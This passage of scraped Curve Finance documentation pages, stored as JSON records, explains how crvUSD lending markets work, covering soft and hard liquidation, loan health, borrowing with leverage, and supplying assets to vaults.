with crvUSD. Consequently, the loan becomes collateralized by stablecoins, known for their more reliable value retention, contributing to the sustained health of the loan. What happens if the collateral price recovers? (de-liquidation) As the collateral price increases, the aforementioned process reverses. The position undergoes trading through the AMM, transitioning from crvUSD back to the original form of collateral. Owing to AMM trading fees, it's typical for a slight percentage of the original collateral value to be diminished once the collateral price surpasses the upper limit of the predetermined liquidation range. Under what circumstances can I be liquidated? (hard-liquidation) Should a loan's health drop below 0%, it becomes eligible for liquidation. In this scenario, the collateral is sold off, and the position closes. Although the crvUSD collateral conversion mechanism within the AMM is designed to protect against liquidations, it might not keep up with severe price fluctuations. It is advisable for borrowers to maintain their loan health, especially when prices fall within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? When the collateral price falls into the liquidation range, adding new collateral to protect loan health is not permitted. Within this liquidation range, loan health can only be improved by repaying debt. Even minimal debt repayments can be effective in preventing liquidation while the collateral price resides within this range. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Interest Rate What is the borrow rate? The borrow rate is the variable interest rate charged on the debt of the loan. The borrow rate is solely determined by the utilization of the market. How is the borrow rate calculated? For the calculation of the borrow rate, see here . What is the lend rate? The lend rate is the variable interest rate a lender receives in exchange for lending out their assets to borrowers. How is the lend rate calculated? For the calculation of the lend rate, see here . Safety and Risks What are the risks of using crvUSD A risk disclaimer can be found here How can I best manage my risks when borrowing assets? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has the lending system been audited? Yes. All public audits can be found here . Can I see the code? The code is publicly available on the Curve Github . New Curve pools such as stableswap-ng, twocrypto-ng, or tricrypto-ng provide a suitable oracle. Back to top", "labels": ["Documentation"]}, {"title": "How to Borrow & Use Leverage", "html_url": "https://resources.curve.fi/lending/how-to-borrow/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Borrow & Use Leverage Table of contents Borrowing UI Creating A New Loan Loan Management Collateral Tab Add collateral Remove collateral Manage Loan Tab Borrow More Repay Self-liquidate How to take out a leverage loan Closing a leveraged loan How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Borrowing UI Creating A New Loan Loan Management Collateral Tab Add collateral Remove collateral Manage Loan Tab Borrow More Repay Self-liquidate How to take out a leverage loan Closing a leveraged loan Home Curve Lending How to Borrow & Use Leverage Borrowing UI When selecting the \"BORROW\" tab from the main UI , all relevant market information and values for borrowers are displayed: Collateral displays the collateral token of the market, while Borrow shows the token which can be borrowed. The leverage column shows whether or not built-in leverage is available in the market. Borrow APY represents the current borrow rate . The Available column shows the amount of assets left to borrow and Borrowed is the total amount currently borrowed. Supplied shows the total amount of the borrowable token which has been supplied by users. The Utilization (%) is the ratio of Borrowed to Supplied tokens, see here for more information. Creating A New Loan In order to create a loan and borrow tokens against collateral, a user first needs to choose a lending market. This can simply be done by clicking the desired market. Having \"Advanced Mode\" activated when creating a loan allows the user to additionally select the number of bands for the loan and displays the corresponding liquidation range. If deactivated, the loan will be created with a default amount of 10 bands. Advanced Mode can be toggled on the top right of the page. Number of Bands (N) A higher number of bands results in fewer losses when the loan is in soft-liquidation mode. The maximum number of bands is 50, while the minimum is 4. Additionally, the UI shows the future borrow APY when the user's loan is created and the loan-to-value (LTV) ratio. Advanced mode also enables an overview of the entire LLAMMA including important values such as lend or borrow APY, available amount to borrow, etc. Down below, a section containing relevant contracts and the current parameters for the lending market is displayed. Fee : The current exchange fee for swapping tokens in the AMM. Admin Fee : The percentage of the total fee, which is awarded to veCRV holders. Currently, all fees go to liquidity providers in the AMM (which are the borrowers). A : The amplification parameter A defines the density of liquidity and band size. Loan Discount : The percentage used to discount the collateral for calculating the maximum borrowable amount when creating a loan. Liquidation Discount : The percentage used to discount the collateral for calculating the recoverable value upon liquidation at the current market price. Base Price : The base price is the price of the band number 0. Oracle Price : The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health. Navigating to the \"Your Details\" tab displays all the user's loan details: 1 Loan Management Loan Management when in soft-liquidation mode During soft-liquidation, users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health ratio or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. Understanding how soft-liquidations, loan health and hard-liquidations work is essential for understanding how to manage loans on Curve. Be sure to read and understand the following sections before taking out a loan: Understanding Soft-Liquidations Understanding Loan Health & Hard-Liquidations The rest of this section talks about how to use the UI to manage loans and collateral. Collateral Tab The \"Collateral\" tab allows the adjustment of collateral: Add collateral Add more collateral to the loan. This is not possible while in soft-liquidation. If health is getting low, some debt must be repaid instead of adding more collateral . Remove collateral Remove collateral from the loan. Manage Loan Tab The \"Manage Loan\" tab has the following options: Borrow More Borrow more simply allows the user to borrow more debt and add more collateral at the same time. Repay Repay has the following options, and all options allow the user to partially or fully repay their loans. If only a partial repayment is done then the liquidation range will change for the user. Repay From Collateral will remove the collateral (e.g., WETH or crvUSD) out of the lending market, convert them all to the debt asset if required (e.g., crvUSD), and send any leftover debt asset (e.g., crvUSD) back to the user if the loan is fully paid and closed. Note this is only available on new markets (markets which allow leverage allow this feature). For older markets it's required to repay with the debt token. Repay from wallet has two boxes, one for the collateral asset, and one for the debt asset: Collateral asset, e.g., WETH : this works the same way as Repay From Collateral , all sent WETH would be converted to crvUSD, debt would be repaid and any remaining crvUSD transferred back to the user if the loan is fully paid and closed. Debt asset, e.g., crvUSD : this repays the debt with the sent crvUSD. If all debt is repaid the loan is closed and all collateral in the lending market is sent back to the user, in the above case the user would receive back their WETH. Self-liquidate This allows a user to liquidate themselves before they get hard-liquidated. Users using this feature will most likely already be in soft-liquidation. This lets the user retrieve their collateral and stops them from losing the amount defined by the liquidation_discount . Let's look at user called Alice who intially borrowed 1000 crvUSD using 1 WETH as collateral for how this works. Alice is in soft liquidation and her health is getting low. In soft liquidation 0.2 WETH has been converted to 250 crvUSD, so she now has 0.8 WETH and 250 crvUSD backing her 1000 crvUSD loan. Alice wants to self liquidate. Alice only needs to send 750 crvUSD to self-liquidate, because she already has 250 crvUSD of collateral, both these amounts together will pay off the 1000 crvUSD debt. Alice then receives back her 0.8 WETH. How to take out a leverage loan All new lending markets allow users to use leverage. E.g., the WBTC market below allows up to 11x leverage when borrowing from this lending market. 11x leverage means 10x the deposited amount of WBTC is borrowed as crvUSD and swapped to WBTC using 1inch. Info If the market does not display a value in the leverage column, then leverage can still be built up manually by looping . Click on the desired market with leverage, then navigate to the leverage tab next to the create loan tab shown here: After navigating to the leverage tab, the following options will be displayed: This shows all the information and options to open a leveraged loan. Notice that the ADD FROM WALLET allows both assets to be added to the loan. In this market a user could add WBTC, or crvUSD or both. See the information about depositing a combination of assets for how this works. The BORROW AMOUNT lets the user specify how much they would like to borrow. If Advanced Mode is enabled , then the user can click on the adjust button next to the liquidation range. This allows a user to change the number of bands N for their liquidation range. An example of this is shown below with the other loan details: Leverage is calculated using the following formula: \\[ \\text{Leverage} = \\frac{\\text{value deposited} + \\text{value borrowed}}{\\text{value deposited}}\\] For example if $10,000 crvUSD and $10,000 of WBTC is deposited ($20,000 value total deposited) and the user borrows $80,000 crvUSD, then leverage is 5x. Expected and Expected avg. price both relate in this case to how much WBTC is expected to be received after swapping the borrowed crvUSD, and what the expected average price for swapping is. Expected has collapsible details which shows the route the assets will be swapped through. These swaps are always provided by 1inch . An example of these details are provided below and show that 125 crvUSD will be swapped to 0.0019074 WBTC. Price impact is the difference between the oracle price and the average swap price. Band range is the starting and finishing bands of liquidity for the loan, e.g., \"4 to 13\" means the loan will begin soft-liquidation in band 4, and finish in band 13. Price range shows the Band range but as a price range, e.g., band 4 to 13 could be a price range like 52,994 to 60,607. See here for more information about bands. Health is how healthy the loan is, this value must be positive, if it is less than or equal to 0 then the loan can be hard liquidated. See here for more information about health. Borrow APY shows the interest rate before and after the loan is created. Loan to Value Ratio shows the deposited collateral value compared to the borrowed collateral. Estimated TX Cost shows the gas cost in USD. Slippage tolerance is the maximum slippage allowed when swapping. Before taking out a loan, a screen will appear showing the details of the loan, for example: Then the tokens which will be used as collateral need to be approved and then the loan can be taken out by clicking the Get Loan and sending the transaction. Closing a leveraged loan Closing a leveraged loan can be done in 2 ways, either through repaying , or self-liquidating . The most efficient of these options is to Repay with collateral . This removes all collateral, swaps it to the same token as the debt, repays the debt and transfers the rest back to the user. Otherwise the debt needs to be fully repaid to close the loan, and as this is a leveraged loan, the debt may be higher than the user's available assets, making this unviable. This tab will only show up if a user has a loan and their wallet is connected to the site. Back to top", "labels": ["Documentation"]}, {"title": "How to Supply (Lend)", "html_url": "https://resources.curve.fi/lending/how-to-supply/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply How to Supply Table of contents Supplying UI How do Supply Vaults work? Depositing Assets Staking Assets Unstaking Assets Withdrawing Assets Claiming Rewards Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Supplying UI How do Supply Vaults work? Depositing Assets Staking Assets Unstaking Assets Withdrawing Assets Claiming Rewards Home Curve Lending How to Supply (Lend) Supplying UI By choosing the \"SUPPLY\" tab from the main UI , all relevant market information and values for lenders are displayed: Supply shows the underlying token of the vault which can be supplied. Lend APY is the current annualized rate for doing so. Additionally, vaults can have gauges, which are eligible to receive CRV emissions once they are added to the GaugeController. These rewards will show up in the Rewards APR / CRV + Incentives column if there are any. See here for information about what's required to have CRV rewards. TVL displays the total value locked into the vault. How do Supply Vaults work? Liquidity for borrowers is provided in ERC-4626 vaults . For detailed documentation on how they work, please check out the official Ethereum documentation or visit the technical docs of Curve . These vaults are yield-bearing , meaning there is no need for the user to claim awarded rewards for lending out their assets 1 . The shares they receive for depositing assets into the vault increase in value because the balance of the underlying asset increases due to the dynamics of interest rates. Depositing Assets In order to supply tokens to the vault, the user must specify the amount of underlying tokens to add . Underlying tokens are referred to as the asset in the vault, which is the asset that's borrowed. When depositing, the UI previews the amount of shares to receive and projects the lend APY after the deposit. For depositing, there is no cap. Users can deposit as much as they want. Staking Assets After depositing, if desired, users can stake their vault shares into the corresponding gauge (if there is one) under the \"Stake\" tab. This allows the user to receive Rewards APR if there is any available. Click on the Deposit -> Stake tab to deposit your assets. By staking your supply vault shares you are sending them to the Rewards Gauge, you retain ownership, but they are nontransferable while staked. Staking requires a transaction. Liquidity gauges of vaults can be added to the GaugeController in order to be eligible to receive CRV emissions or external rewards can be added to the gauge by the deployer. Unstaking Assets Unstaking withdraws your Vault Shares from the Rewards Gauge to your address. It requires a transaction to unstake. Unstaking and claiming rewards can be done together in a single transaction. It can be done from the Withdraw -> Unstake tab of the Supply UI for the lending market you've supplied to. You must Unstake your Vault shares before being able to Withdraw . Withdrawing Assets If a user already has some shares, they can withdraw a desired amount of the underlying asset under the \"Withdraw\" tab. There is also a \"Withdraw in full\" option, which burns all the user's shares and converts them into the underlying asset 2 . The UI previews the amount of shares to be burned in order to receive the underlying tokens. If a user has staked the vault shares in a gauge, they are required to unstake them under the \"Unstake\" tab before being able to withdraw. Lending Rates when Depositing or Withdrawing Assets When depositing underlying assets into the vault, the lending rate may decrease depending on the amount of assets added. The reason for this is that when supplying additional assets, the market's Utilization Rate will decrease (as there are now more assets to borrow from), which simultaneously decreases the borrow rate. When the borrow rate decreases, the lending rate decreases as well. Vice versa: Withdrawing assets from the vault reduces the total amount of assets. This drives the utilization rate up, which increases the borrow rate and therefore also the lending rate. See here for more information about Utilization and how it affects lending and borrow rates Claiming Rewards Any rewards from a Rewards APR will be available under the Withdraw -> Claim Rewards tab here: Claiming rewards requires a transaction, however unstaking and claiming together can be done in a single transaction. Having \"Advanced Mode\" enabled adds a full overview of the vault. If a user has shares, the user can view their personal vault information on the \"Your Details\" tab. This does not apply to rewards awarded from liquidity gauges. They need to be claimed under the \"Withdraw\" -> \"Claim Rewards\" tab. This method will only work if the vault has enough underlying assets to fully redeem all the shares. Back to top", "labels": ["Documentation"]}, {"title": "Leverage", "html_url": "https://resources.curve.fi/lending/leverage/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Leverage Table of contents How Leverage Works Leverage Looping Built-in Leverage Depositing a combination of assets Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents How Leverage Works Leverage Looping Built-in Leverage Depositing a combination of assets Home Curve Lending Leverage This section explains how leverage works, if you would like to know how to take out a leverage loan, see How to take out a leverage loan section of the how to borrow page. How Leverage Works Leverage on Curve Lending allows a user to multiply their gains (and losses) by the amount of leverage they desire. For example, if a user is borrowing crvUSD with WETH collateral at 2x leverage, they will make twice as much profit in crvUSD compared to just holding their WETH without leverage (not accounting for borrowing rates). Let's look at a few quick examples: ETH starting price ETH end price Deposited Collateral Borrowed Collateral Total Collateral Leverage Profit ETH Profit 1000 crvUSD 2000 crvUSD 1 ETH 0 ETH 1 ETH 1x 1000 crvUSD 0 1000 crvUSD 2000 crvUSD 1 ETH 1 ETH 2 ETH 2x 2000 crvUSD 1 ETH 1000 crvUSD 2000 crvUSD 1 ETH 2 ETH 3 ETH 3x 3000 crvUSD 2 ETH Warning Multiplied profits from leverage also means multiplied loses when prices decrease. Leverage Looping Anyone can create their own leverage in any lending market, let's see how it can be done: In the above example Alice can create her own leverage by simply continually depositing her WETH, borrowing crvUSD, swapping the borrowed crvUSD back to WETH, and then depositing the new WETH, and borrowing more crvUSD. This process can be repeated as much as desired, but each time the user will loop less and less as the loan LTV is always less than 100%. If 1 WETH is worth 3,000 crvUSD and the user has borrowed 6,000 crvUSD then that is called 2x leverage. Built-in Leverage Some Curve Lending markets allow leverage without doing the looping strategy mentioned above. This built-in leverage allows the user to achieve their desired leverage using a single transaction. Only some lending markets have this functionality, below is a image of the lending UI which shows the WBTC market. This market allows a leverage of up to 11x. Built-in leverage works and can be used in the following way: Depositing a combination of assets Instead of depositing only WETH, Curve Lending also lets Alice deposit crvUSD and WETH together. If Alice chooses to do this, then any crvUSD she deposits will be added to the borrowed crvUSD and converted to WETH through 1inch before it's all deposited into the lending market, let's look at that quickly below. Note: as Alice's total collateral is still worth 3,000 crvUSD (1,500 crvUSD + 0.5 WETH), with 5x leverage she still borrows 12,000 crvUSD (4x her deposited collateral). Also, the repayments transaction and profit made in this instance work exactly the same as shown in the other image above as all the collateral is converted to WETH even though she deposited WETH and crvUSD together. Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending Overview", "html_url": "https://resources.curve.fi/lending/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Overview Table of contents Overview Markets Supplying (Lending) Depositing and Withdrawing Supply Vault Share Tokens Rewards APR Borrowing Soft-liquidation Health & Hard-Liquidation Leverage Utilization, Lend APY and Borrow APY Utilization Rate Borrow Rate Borrow Rate for assets with a crvUSD Minting Market Borrow Rate for all other Assets Lend Rate More Information Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Overview Markets Supplying (Lending) Depositing and Withdrawing Supply Vault Share Tokens Rewards APR Borrowing Soft-liquidation Health & Hard-Liquidation Leverage Utilization, Lend APY and Borrow APY Utilization Rate Borrow Rate Borrow Rate for assets with a crvUSD Minting Market Borrow Rate for all other Assets Lend Rate More Information Home Curve Lending Curve Lending Overview Curve Lending allows users to borrow crvUSD against any collateral token or to borrow any token against crvUSD, while benefiting from the soft-liquidation mechanism provided by LLAMMA . This innovative approach to overcollateralized loans enhances risk management and user experience for borrowers. Additionally, Curve Lending allows users to generate interest through lending (supplying) their assets to be borrowed by others. Collateral in Lending Markets DO NOT back crvUSD The collateral used in Curve Lending markets does not back crvUSD. All crvUSD within Curve Lending is supplied by users . Conversely, minting new crvUSD requires high-quality crypto collateral approved by the DAO. The crvUSD minting system is separate from the lending markets . See here for more differences between Curve Lending and minting crvUSD . Curve Lending Risk Disclaimer Full risk disclaimer on using Curve Lending can be found here Borrowers Borrowers are the ones borrowing assets . To do so, they create a loan and put up some collateral. In exchange for borrowing, they pay a certain Borrow Interest Rate (Borrow APY) . How to Borrow Lenders Lenders supply their assets so they can be loaned to borrowers . To do so, they deposit their assets into a Vault . In exchange for supplying their assets, they are awarded a Lending Interest Rate . How to Supply (Lend) Overview Let's take a look at a single market to see the basics of how it works: Let's breakdown the different entities and their roles in this market: Entity Role Business Llama Business Llama represents the lending market and smart contracts in the system. This llama uses CRV as collateral, and lends out crvUSD. Business Llama charges interest on crvUSD users borrow (Borrow APY) , and pays interest to lenders who supply crvUSD (Lend APY) . Bob Bob always thinks the market will crash, so he supplies his crvUSD and Business Llama lends it out and pays Bob interest (Lend APY) . Alice Alice wants to go trade meme coins but doesn't want to sell her CRV, so she deposits CRV and uses it as collateral to borrow crvUSD . She feels safe knowing she's better protected here with LLAMMA and soft-liquidations than other lending markets. She is charged the Borrow APY on her debt while the loan is open. Charlie & Daisy Charlie and Daisy are just talking to the wrong Business Llama (lending market). All Curve Lending Markets are one-way, and isolated. They need to go and find the Business Llama that lends out CRV with crvUSD collateral. (Business llama with the red background here ) Markets There are many Curve Lending markets listed on the main UI . Each market uses a single type of collateral, and make loans in a single asset ( all markets are one-way , and all markets are isolated ). Some of the markets available are pictured below (we've used llamas in suits to illustrate different markets), but there are many more available, and new markets can be permissionlessly deployed by anyone, at anytime (as long as the asset has a suitable price oracle ). Note: All markets are paired with crvUSD. crvUSD must be either the collateral or the coin being borrowed. Supplying (Lending) Earning interest for supplying assets to Curve Lending is simple. Let's have a look at an example where Bob lends his crvUSD for a year and how much he earns: So after 1 year Bob earned 20 crvUSD and $20 worth of CRV , this equates to an APR of 40% over that year. Depositing and Withdrawing After depositing to a lending market your assets are added to the pool of available supply . You can withdraw a supplied asset provided there are sufficient available (un-borrowed) assets in the market. For example in the below image Bob could have withdrawn up to 1200 crvUSD from the market, but he only withdrew 300 crvUSD. If there are insufficient available assets for a full withdrawal, you can withdraw the maximum amount currently available. The high utilization rate will cause Borrow APY and Lend APYs to increase, incentivizing borrowers to repay their loans, and more lenders to supply. As available supply increases you can withdraw your remaining balance over time. Bad Debt Bad debt is rare, but if it exists within a lending market, it may be impossible to withdraw supplied assets , as it locks supplied assets as \"borrowed\" indefinitely. It is recommended not to supply assets to markets with large amounts of bad debt. Use this notebook or see the code on github here to find which markets have bad debt. At the time of writing (May, 2024) no bad debt exists on Ethereum markets. On Arbitrum, two markets have bad debt - CRV/crvUSD: 1700 crvUSD bad debt, FXN/crvUSD: 39,000 crvUSD bad debt. Supply Vault Share Tokens By Supplying assets on Curve Lending, you are given Supply Vault Shares ( more info here ). These are tokens representing your share of the total supply . The value of these shares increases by Lend APY . When you withdraw your supplied assets, the Vault Shares you had previously deposited are returned to the Lending Market. At this point, you receive the current value of the Vault Shares you are returning. This is how your interest on the supplied assets accrues. By withdrawing your assets, you effectively claim the interest that has been earned on your initial deposit during the time it was being lent out in the market. Rewards APR Rewards APR is a combination of CRV emission rewards and any other incentives provided to suppliers. Rewards accrue altogether and can be claimed at any time. Rewards APR is ONLY given to Suppliers STAKED in the Liquidity Gauge You MUST stake your Supply Vault Shares in the Lending Market's Liquidity Gauge to receive Reward APR. You will not get any Rewards APR if you DO NOT stake . See here For a market to have CRV rewards the following conditions must be met: The Curve DAO must vote to add a Liquidity Gauge to the GaugeController for that specific lending market The liquidity gauge must receive a positive gauge weight through votes from veCRV holders. This will result in CRV being emitted to the liquidity gauge. Due to the boosting mechanism of liquidity gauges, the Reward APR will be displayed as a range based on the user's boost factor. Learn more about boosting here . Other incentives can be added by anyone, i.e., if a project wants to incentivize their token being used as collateral they may add incentives to a Lending Market. See here for more details and how to add them. Borrowing When borrowing from Curve Lending Markets, you are taking an overcollateralized loan against deposited assets (e.g., borrowing crvUSD with CRV collateral). In exchange, you are charged the Borrow APY on the borrowed assets . Collateral is deposited into each lending market's LLAMMA system and split evenly across the chosen number of bands (N). Each band represents a small liquidation price range, with an upper and lower limit. If the oracle price enters one of your bands, soft-liquidation begins . Your loan is safe while the oracle price is higher than any of your bands . See the image below for a breakdown of how supplied assets are borrowed, and how collateral is deposited into bands. By minimizing the number of bands (N=4), you can maximize the amount you borrow (LTV), just like Charlie. Alice, however, prefers spreading his liquidity, so he chooses 10 bands (N=10) and does not maximize his borrowing. This explains why Charlie's loan is split into bands 3-12, while Alice's is split into bands 1-4. When you borrow, you can choose to split your collateral into any number of bands from 4 to 50 . There is no set rule for whether fewer or more bands are better . Different numbers of bands are better in different scenarios: More bands equate to having fewer losses in soft-liquidation, but this also widens your Liquidation Range, potentially extending the duration of soft-liquidation. Fewer bands will narrow your Liquidation Range, causing your collateral to be traded more aggressively, but you may remain in the Liquidation Range for a shorter time. Soft-liquidation Soft-liquidation is a mechanism that gradually exchanges collateral (e.g., WETH) for the borrowed asset (e.g., crvUSD) as the collateral's value declines, avoiding the need for a single large liquidation. It also reverses this process if the collateral's value rises. The system sells collateral at a small discount, which increases with market volatility. Users undergoing soft-liquidation experience minor losses over time (in crvUSD minting markets typical losses are <0.1% per day), though this can vary based on loan and market conditions. Soft-liquidation begins if the oracle price of your collateral falls into one of your bands. At this point, your collateral will be linearly traded for your borrowed asset as the price continues to drop through each band. Let's examine what soft-liquidation looks like in a simplified example with a single band in an ETH/crvUSD LLAMMA market . This example illustrates that if the price declines by 20% within the band, 20% of the ETH is converted to crvUSD. When the price is below the lower bound of the band (<$990), all the collateral is converted to crvUSD (100% crvUSD, 0% ETH). Conversely, when the price exceeds the upper bound (>$1000), all collateral remains as ETH (100% ETH, 0% crvUSD). The below image represents multiple bands through soft-liquidation. Note the higher bands than the current price are fully converted to crvUSD and the lower bands are still ETH. The value of traded assets remains as loan collateral throughout soft-liquidation. For example, if ETH is swapped for crvUSD, the value of that crvUSD is added to the collateral backing the loan. Additionally, LLAMMA works both ways; if prices increase through your bands, any swapped collateral will be traded back for your initial collateral (e.g., ETH swapped to crvUSD as the price decreased will be swapped back to ETH as the price increases). Rebalancing collateral through soft-liquidation is incentivized for arbitrage traders by offering a small discount (when required) to buy or sell through LLAMMA. Trading back and forth your collateral is the reason why your health factor erodes over time during soft-liquidation . Higher volatility generally leads to greater losses. However, your losses are partly recouped by the earned trading fees for providing liquidity. Collateral CANNOT be deposited while in soft-liquidation Collateral cannot be deposited during soft-liquidation. Only debt repayment is allowed . Health & Hard-Liquidation Loan Health is a measure of debt to collateral value. As long as health is positive, the position remains open. The health of a loan decreases due to losses in soft-liquidation and when debt increases due to interest paid. Soft-liquidation losses do not only occur when prices go down but also when the collateral price rises again . This implies that the health of a loan can decrease even though the collateral value of the position increases. A loan becomes eligible for hard-liquidation when its health drops below 0 . In this process, an external party can repay the user's debt and claim their collateral in return, closing the loan. Going below the soft-liquidation range does not trigger a hard-liquidation . The key trigger is the health falling below 0. It's possible for a loan to be below the soft-liquidation range, and have all its collateral converted to the borrowed asset (e.g., all CRV to crvUSD) while still maintaining a positive health . In this scenario, further price drops don't impact the position, as the converted collateral covers both the debt and safety buffer. In contrast, most other lending platforms will hard-liquidate your collateral and terminate your loan if your loan falls below a minimum collateral ratio (LTV), even if only by a small amount for a brief time. This can be highly stressful for borrowers and lead to significant losses. Curve Lending offers a safer space and more peace of mind for borrowers. Leverage All new lending markets allow leverage. This allows users to multiply their gains (and losses) by the amount of leverage they desire. In a WETH/crvUSD market for example, this would allow the user to borrow up to 9x the amount of collateral they deposit. The caveat is that the user doesn't receive the borrowed crvUSD into their wallet, it is swapped for more WETH 